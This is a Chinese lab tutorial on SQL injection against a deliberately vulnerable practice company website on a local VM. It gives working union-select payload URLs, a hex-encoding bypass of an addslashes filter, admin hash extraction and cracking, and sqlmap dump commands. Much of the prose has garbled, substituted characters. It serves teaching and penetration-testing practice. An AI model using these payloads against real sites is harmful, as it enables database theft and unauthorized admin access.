A02.金戈企业网站SQL注入测试
金戈企业网站SQL注入测试手工SQL注入测试
SQL注入(SQL Injection)作为一种很盛行的攻击本领,不停以来都受到网络安全研究者和黑客们的广泛关注。
网站上很多由用户提交的数据,会与步调中的SQL语句合在一起,通报到数据库去实验。假如用户在输入的字符串之中附加了额外的SQL指令,而web应用步调对用户输入数据的合法性没有判定或过滤不严,那么这些注入进去的恶意指令就会被数据库服务器误以为是正常的SQL指令而运行。
服务器端步调的干系代码通常会是以下情势:
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105822635-672673771.png图 1.18 服务器端步调的干系代码
分析一下上图中的代码,通过GET方式取的参数id的值后,直接用来构造动态SQL语句,并实验SQL查询。整个过程没有对变量id的值作任那边理,导致SQL注入毛病的产生。
比方,正常情况下,访问http://x.x.x.x/new.php?id=3时,数据库实验中实验的是以下语句:
Select * from news where id=3假如用户在http://x.x.x.x/new.php?id=3背面添加“and 1=0”后,添加的部门会被步调一起提交到数据库中实验,这就产生了SQL注入。此时,数据库中实验的语句如下:
Select * from news where id=3 and 1=0通过添加一些专门构造的语句,黑客可以获取数据库中的秘密数据、更改数据库中的数据。由于SQL注入是通过网站的端口(通常为80端口)来提交恶意SQL语句,外貌上看起来和正常访问网站没有区别,假如不过细查察WEB日志很难发现此类攻击,埋伏性非常高。
千里之堤,溃于蚁穴。黑客通过SQL注入打开一个进入体系的缺口之后,由此大概会引发进一步的安全标题。比方,网页挂马,上传webshell,以致得到整台服务器的管理员权限。
步调1:探求SQL注入点
底子情况搭建并设置完毕后,就可以开始我们的第一项实验,针对于PHP+MySQL网站体系举行手工SQL注入。如今我们必要从攻击者的角度来测试网站。
起首,在“企业消息”页面,选择一篇消息,此时的URL:http://192.168.142.133/new.php?id=1,此处存在一个参数为id,它的值便是1,如下图,
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105823515-2135491908.png图 1.19 此处存在一个参数为id
假如手工将1改为2,也能访问到id为2的文章。在这个页面,就有我们的注入点,就是可以实验SQL注入的地方。接下来,我们会利用手工注入的方式,对当前的页面举行SQL注入。
如今,我们在欣赏器所在栏的本来的URL所在背面加上一个单引号,会发现返回一个差别的页面,如下图所示,这阐明我们添加的单引号影响了步调的运行结果。此处很大概存在注入点。
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105824092-1549448127.png图 1.20
接着,我们在“欣赏器所在栏”处URL所在后添加:【 and 1=1】和【 and 1=2】,请留意不要输入【】,and前后各有一个空格。输入【 and 1=1】时返回的页面和正常页面是划一的,如下图所示:
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105824348-1044176592.png图 1.21
然而当输入【 and 1=2】时返回的页面和正常页面差别等:
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105824612-1714683387.png图 1.22
如今,我们可以确定此处是很大概就是一个SQL注入点,步调对带入的参数没有做任那边理,直接带到数据库的查询语句中。可以推断出在访问http://192.168.142.133/new.php?id=1时数据库中实验的SQL语句大概是如许的:
Select * from [表名] where id=3添加and 1=1后的SQL语句:
Select * from [表名] where id=3 and 1=1由于条件and 1=1永世为真,以是返回的页面和正常页面是划一的
添加and 1=2后的SQL语句:
Select * from [表名] where id=3 and 1=2由于条件1=2永世为假,以是返回的页面和正常页面差别等
注意:但有时仅用以上方法测试是否存在注入点并不准确。因为有的程序员会对参数进行一些简单的过滤,但过滤不严格,还是可以通过转义字符,或者其它方式绕过程序的检查。步调2:通过SQL注入,获取管理员暗码
上面我们找到此体系的SQL注入点,下面就让我们来体验一下SQL注入强盛的威力。我们先来判定一下数据库范例以及版本,构造如下语句:
http://192.168.142.133/new.php?id=1 and ord(mid(version(),1,1))>51
在以上语句中,ord,mid,version是mysql的函数,详细表明如下:
[*]version()用于获取当前数据库的版本,获取到的版本号是类似5.7.24这种情势
[*]mid()用于截位操纵,mid(version(),1,1)从版本号中的第1个字符开始,截取1个字符
[*]ord()用于查询单字节字符的ASCII码。51是数字3的ASCII码,>51表明当前版本至少是4,只有版本大于3时才华支持union查询;
假如返回正常页面,阐明数据库是MySQL,而且版本大于4.0,支持union查询,反之是4.0以下版本大概其他范例数据库。
接着我们再构造如下语句来得到表中字段数目:
[*]http://192.168.142.133/new.php?id=1 order by 10 返回错误页面,阐明字段小于10
[*]http://192.168.142.133/new.php?id=1 order by 5 返回正常页面,阐明字段介于5和10之间
[*]http://192.168.142.133/new.php?id=1 order by 7 返回错误页面,阐明字段大于5小于7,可以判定字段数是6。下面我们再来确认一下
[*]http://192.168.142.133/new.php?id=1 order by 6 返回正常页面,阐明字段确实是6
这里接纳了“二分查找法”,如许可以淘汰判定次数,节省时间。假如接纳从order by 1依次增长数值的方法来判定,必要7次才可以确定字段数,接纳“二分查找法”只必要4次就够。当字段数很大时,二分查找法的上风更加显着,服从更高。
下面我们构造如下的语句来确定哪些字段可以用来将数据体如今网页上:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,6
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105824857-1324936477.png图 1.23
根据返复书息,我们可以确定字段3,4,5,6可以用来表现数据,如上图所示。那么我们来构造下面的语句来得到一些数据库信息:
http://192.168.142.133/new.php?id=0 union select 1,2,database(),version(),user(),6
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105825070-1889452810.png图 1.24
根据如上图所示的页面返复书息,我们可以得到如下信息:
数据库名:jingesjkm
数据库版本:5.7.27-log
用户名:jingeyhm@localhost,而且Web体系和数据库在同一台服务器上
如今构造以下语句查数据库里的表:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105825325-43223981.png图 1.25
对以上全部表的名称举行分析,估计root这张表里储存有管理员的帐号信息。
然后我们再构造以下语句查询root这张表里的列名:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=’root’
但这次查询没有得到结果,前面注入的SQL语句都能正常实验,这次多了个特殊符号:单引号。推测是金戈网站步调中对表名举行了单引号过滤,因此无法利用单引号。假如分析源代码的话,可以找到在myapi目次下的myfun.php文件中界说了一个函数my_yz(),这个函数中调用了php的addslashes()举行过滤,addslashes()函数可以对单双引号、反斜线及NULL加上反斜线举行转义。
由于表名root是CHAR范例,因此必须加单引号,纵然用table_name=’root’举行查询。但由于金戈网站步调中对表名举行了单引号过滤,因此无法利用单引号。这里可以利用十六进制转换的方法绕过这种限定。将root转换成16进制是726F6F74,加上0x代表此处的数据是16进制,而不是平凡的字符串范例。转换后的注入语句如下:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=0x726F6F74
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105825603-617384703.png图 1.26
通过以上方法,我们获知了表root内里包罗有以下三个字段:root_id、root_name、root_pass,从定名可以判定root_name即为管理员账户名,root_pass即为管理员登录暗码。
末了,我们再构造以下语句,得到管理员的账号暗码:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,root_name,root_pass from root
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105825828-386879480.png图 1.27
如上图,账户名是:admin,暗码是:5f079981221ce504832142e9526b623bbfb6e686
显然,暗码是加密过的密文,常见的网站暗码加密范例有MD5,SHA,颠末https://www.cmd5.com/在线解密后得知暗码是:159357,加密范例是sha1。
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105826046-2000175691.png图 1.28
我们如今得到了管理员的账号和暗码,只要找到管理员登录页面,就可以登录进入配景了。很快我们就找到了网站的配景所在:http://192.168.142.133/isadmin/login.php
我们登录进去看下,如下图所示,乐成进入网站配景:
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105826353-388648447.png图 1.29
至此,我们通过手工SQL注入,乐成的得到了网站配景的管理员暗码。
利用Sqlmap工具半主动化注入
接下来,熟悉一下别的一种SQL注入的方式:利用sqlmap半主动化工具举行注入。
sqlmap 是一个开源WEB安全测试工具,它可以主动检测和利用SQL注入毛病并接受数据库服务器。它具有强盛的检测引擎,同时有浩繁功能,包罗数据库指纹辨认、从数据库中获取数据、访问底层文件体系以及在操纵体系上带内毗连实验下令。
可以利用Kali Linux自带的sqlmap,也可以在物理机的windows体系上自行下载、安装sqlmap,安装的详细过程通过搜索引擎自行办理。
同样的,利用sqlmap工具也要探求注入点,我们依然利用http://192.168.142.133/new.php?id=1作为注入点。
以下示例利用的是Kali Linux中的sqlmap,Kali将一些常用的工具都创建了快捷方式,放到了体系情况变量PATH的目次下,因此可以直接调用。假如是windows上利用,必要输入sqlmap的完备路径。
注意:要保持kali虚拟机和web虚拟机的网络互通,两个虚拟机均使用NAT网络模式,如无法互通请检查解决。打开Kali linux,在终端中利用sqlmap工具,输入以下下令,利用注入点查询网站当前利用的数据库:
sqlmap -u "http://192.168.142.133/new.php?id=1" --current-db
初次实验下令,大概会提示how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit],这时输入C,意思是继续运行,回车后步调会继续实验,然后会到第二次提示:GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? ,意思是id参数存在毛病,然后扣问是否继续测试其他参数。这个URL里只有一个参数,因此输入n,不再测试其他参数。
然后步调就会竣事运行,并返回给我们以下内容:
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105826554-1246068605.png图 1.30
从返回的结果中就可以得到数据库的名称:jingesjkm。
接下来利用数据库名称,获取jingesjkm数据库内里包罗的表:
sqlmap -u "http://192.168.142.133/new.php?id=1" -D jingesjkm --tables
这句下令中,-D的意思是DBname,要举行摆列的指定命据库名;--tables摆列的是数据库中的表。
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105826759-325359076.png图 1.31
通过以上下令就到达了摆列出jingesjkm数据库中全部的15张数据表。然后就要利用下令摆列表root下的字段:
sqlmap -u "http://192.168.142.133/new.php?id=1" -D jingesjkm -T root --columns
这条下令也是依次加上了-D数据库名和-T数据表名,--columns摆列数据表列名。
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105826960-1371259221.png图 1.32
如图,被摆列出3个字段,和字段数据范例,可以判定root_name即为管理员账户,root_pass即为管理员暗码。
末了,就到了取出账户和暗码的时间了,这时利用以下下令:
sqlmap -u "http://192.168.142.133/new.php?id=1" -D jingesjkm -T root -C root_name,root_pass --dump
同样是-D为要举行摆列的指定命据库名,-T为要举行摆列的指定命据库表,-C要举行摆列的数据库列,背面跟要摆列的字段名,多个字段摆列用逗号分隔;--dump为获取数据表字段中的记载值。
在举行这一步操纵的时间,会有提示:recognized possible password hashes in column 'root_pass'. Do you want to crack them via a dictionary-based attack? ,这里的意思是说在“root_pass”字段中辨认出大概的暗码哈希。您想通过基于字典的攻击来破解它们吗?输入“y”的话,sqlmap会主动对密文举行解密,输入“n”的话,直接表现查询出来的内容,“q”则是取消当前操纵。请留意,假如有字典文件的话,可以输入“y”选择利用字典破解;但是我们这里要输入“n”,直接获取记载值后,自行破解服从最快。
https://img2024.cnblogs.com/blog/1885411/202605/1885411-20260502105827161-72859287.png图 1.33
然后通过在线解密网站(https://www.cmd5.com/)举行解密,得出解密后的内容是159357。
免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金.
页:
[1]